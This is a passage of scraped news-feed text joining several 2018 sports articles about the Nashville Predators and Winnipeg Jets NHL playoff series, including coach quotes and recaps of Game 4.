“The fact of the matter is, we had to go to Winnipeg anyway,” he said. “We’re going to go there, we’re going to win a game, we’re going to come back here.

“It’s that simple.”

Laviolette has confidence in Predators

Predators head coach Peter Laviolette, whose club won this year’s Presidents’ Trophy, said he expects a response from his players in a series of highs and lows featuring the teams with the NHL’s best regular-season records.

“This group’s been built for a game like the one that’s coming up,” he said. “I’ve got a tremendous amount of confidence.

“I believe in them, and I know that they believe in each other.”

The Jets, meanwhile, have recent history on their side in close-out games at home after disposing of the Minnesota Wild in the first round.

But they also know the Predators won’t go quietly.

“They fight to the very end every single game,” Wheeler said. “We have a ton of respect for how hard they play.

“Eliminating them is not going to be an easy task. We’re going to have to bring our best.”

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]]> https://briefnews.eu/jets-head-home-looking-to-clinch-series-with-predators/feed/ 0 Predators prove Presidents' Trophy prowess by shutting down high-flying Jets https://briefnews.eu/predators-prove-presidents-trophy-prowess-by-shutting-down-high-flying-jets/ https://briefnews.eu/predators-prove-presidents-trophy-prowess-by-shutting-down-high-flying-jets/#respond Fri, 04 May 2018 07:27:13 +0000 http://briefnews.eu/predators-prove-presidents-trophy-prowess-by-shutting-down-high-flying-jets/ There was no comeback for the Winnipeg Jets this time. There was no cause for an on-ice shimmy from their 260-pound defenceman Dustin Byfuglien. 

Behind two goals with the score clock ticking down and the quietest the Bell MTS Place has been for a long time, the Jets received a power-play goal from Patrik Laine 49.6 seconds remaining. It was too little, too late.

The Nashville Predators prevailed for a 2-1 victory to knot the second-round series at 2-2 in a quite different game than the first three that produced a whopping 25 goals.

Nashville defeats Winnipeg 2-1, series tied 2-2. P.K. Subban scores 3rd goal of playoffs.1:36

The Jets suffered their first loss at home in this playoffs and ended their 13-game win streak in their building, dating back to Feb. 27.

The last time they were beaten at home was by the Predators, who performed like the team that won the Presidents’ Trophy team in the regular season. They slowed down the speedy Jets with a tight-checking game to reduce their open ice and the Predators did a much better job holding onto the puck.

Jets’ stickhandling goes nowhere

The Jets failed to adjust. Instead of more dump-ins with speed, they tried to stickhandle their way through the Nashville defenders.

“Take a look at the very first shift of the game,” Winnipeg coach Paul Maurice said, referring to a hard rim around the boards that resulted in a good chance from Mark Scheifele. “A little more of that, a little less of the one [trying to get] through four.”

Nashville goalie Pekka Rinne also played better. He had something to prove after the first three games in this series, checking in with an ordinary .890 save percentage.

Yes, he had some luck in his 32-stop effort. Rinne made a first-period save off the butt-end of his stick before forward Ryan Hartman helped with a save of his own late on Winnipeg’s Adam Lowry. But Rinne’s solid game will help restore his own confidence and faith from his teammates.

As good as Rinne was, however, Predators defenceman P.K. Subban was that much better. He dished out a punishing hit on Lowry and scored a power-play goal on a 51-foot blast through a Viktor Arvidsson screen for a second-period power-play goal and a 2-0 lead.

Predators’ lineup swaps pay off

It was a frustrating first three games for the Predators and their coach Peter Laviolette. Nashville outplayed the Jets in the series opener and blew a three-goal lead after 20 minutes in a 7-4 loss to Winnipeg in Game 3.

Laviolette also took issue with a couple of incidents in Game 3. He felt there was a missed tripping penalty on Predators defenceman Ryan Ellis before a Jets goal and a cheesy high-sticking penalty on Subban that led to another Winnipeg goal.

Dustin Byfuglien and Scott Hartnell get tied up in the first period of Nashville’s Game 4 win.(John Woods/The Canadian Press)

So what did Laviolette come up with for Game 4? He inserted 36-year-old veteran Scott Hartnell, whose only postseason action this spring was in Game 5 against the Colorado Avalanche in the first round two weeks ago. Also in the lineup was defenceman Yannick Weber.

Laviolette was hoping Hartnell could disrupt Byfuglien’s game. The big Winnipeg defenceman was dominant on Tuesday with a two-goal outing.

Regina’s Hartnell kept Byfuglien at bay, for the most part, holding the big man to only two shots on goal in Game 4.

Laine snaps slump

These two warriors go back a long way, butting heads in the 2009-10 Stanley Cup final when Hartnell was with the Philadelphia Flyers and Byfuglien was with the championship-winning Chicago Blackhawks.

“His experience calmed everybody down,” Rinne said of Hartnell. “He was one of the key guys for us on the forecheck and making smart plays.”

The Jets can travel to Nashville for Game 5 on Saturday with the knowledge that they still had enough opportunities to pull this one out. The fourth line, as well as the defence pairing of Tyler Myers and Ben Chiarot, were caught standing around on the Predators opening goal from Hartman in the first period and that had the Jets chasing their opponents all evening.

The other nice development for the Jets was seeing their goal-scoring leader in the regular season, Laine, score his first in the series and first since Game 2 of the five-game opening round series against the Minnesota Wild.

There was no doubt Laine was frustrated, especially after firing eight shots on goal in Game 3. The Jets need Laine to provide more offence if they want to see another victory dance from Byfuglien.

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Pekka Rinne made 32 saves as the Nashville Predators defeated the Winnipeg Jets 2-1 on Thursday to even their second-round series 2-2.

Ryan Hartman and P.K. Subban scored for the Predators.

Patrik Laine replied for the Jets, who got 29 stops from Connor Hellebuyck.

Game 5 of the best-of-seven Western Conference semifinal goes Saturday in Nashville, with Game 6 set for Winnipeg on Monday.

Game 7, if necessary, would be back in Nashville next Thursday.

Neutral zone clogged

While not really at fault on any of the five goals he allowed in the Predators’ 7-4 loss in Game 3, Rinne still rebounded in impressive fashion behind a team that played much better defensively and won the vast majority of the 50-50 battles.

The Jets had far less space in the neutral zone to operate, but also saw a couple of golden opportunities just bounce over their sticks.

Leading 1-0 after the first period, the Predators stretched their lead to two with 5:24 left in the second when Subban blasted a one-timer on Nashville’s first power play of the night through Hellebuyck for his third goal of the series, and third of the playoffs.

Booed by the thunderous white-clad crowd every time he’s touched the puck the last two games, Subban seemed to feed off the noise directed his way at the cauldron that is Bell MTS Place.

The Jets had a couple of great chances to tie the game earlier in the period, with Kyle Connor missing on a pass from Bryan Little in the slot on a man advantage before Mark Scheifele saw the puck skip over his stick on a 2-on-1 with Blake Wheeler moments before Subban silenced the home crowd with his power-play blast.

Laine scored on a 6-on-4 advantage with 50.2 seconds left in the third — his third of the playoffs and first of the series — but the Predators held on from there to wrestle back home-ice advantage.

Nikolaj Ehlers was back on the Jets’ top line alongside Scheifele and Wheeler after switching spots with Connor following Tuesday’s disastrous opening 20 minutes that saw Winnipeg fall behind 3-0. Connor once again skated with Laine and Paul Stastny.

Close throughout

Nashville opened the scoring with 2:40 left in the first when Hartman scored his second of the playoffs off a scramble in front. An attempted clear by Winnipeg’s Ben Chiarot in front instead went off defence partner Tyler Myers and right to Hartman, who was quickest to the loose puck before beating Hellebuyck upstairs.

The teams traded chances earlier in the period, with Hellebuyck stopping Roman Josi and Scott Hartnell on 2-on-1 breaks, while the butt end of Rinne’s stick got in the way of Josh Morrisey’s backhand chance along the ice at the other end.

Winnipeg advanced to the second round of the playoffs for the first time since relocating from Atlanta in 2011, brushing aside the Minnesota Wild in five games. The old Jets, who left town in 1996 to become the Phoenix Coyotes, only made it beyond the first round twice in their history, with the last coming in 1987.

The Predators, meanwhile, disposed of the Colorado Avalanche in six games in the opening round, and are looking to get back to the Stanley Cup final after losing out to the Pittsburgh Penguins in last year’s final.

Nashville collected an NHL-high 117 points in the regular season to win the Presidents’ Trophy, while Winnipeg finished with to come second. But because of the NHL’s playoff format, the two Central Division rivals are meeting in the second round instead of potentially tangling in the Western Conference final.

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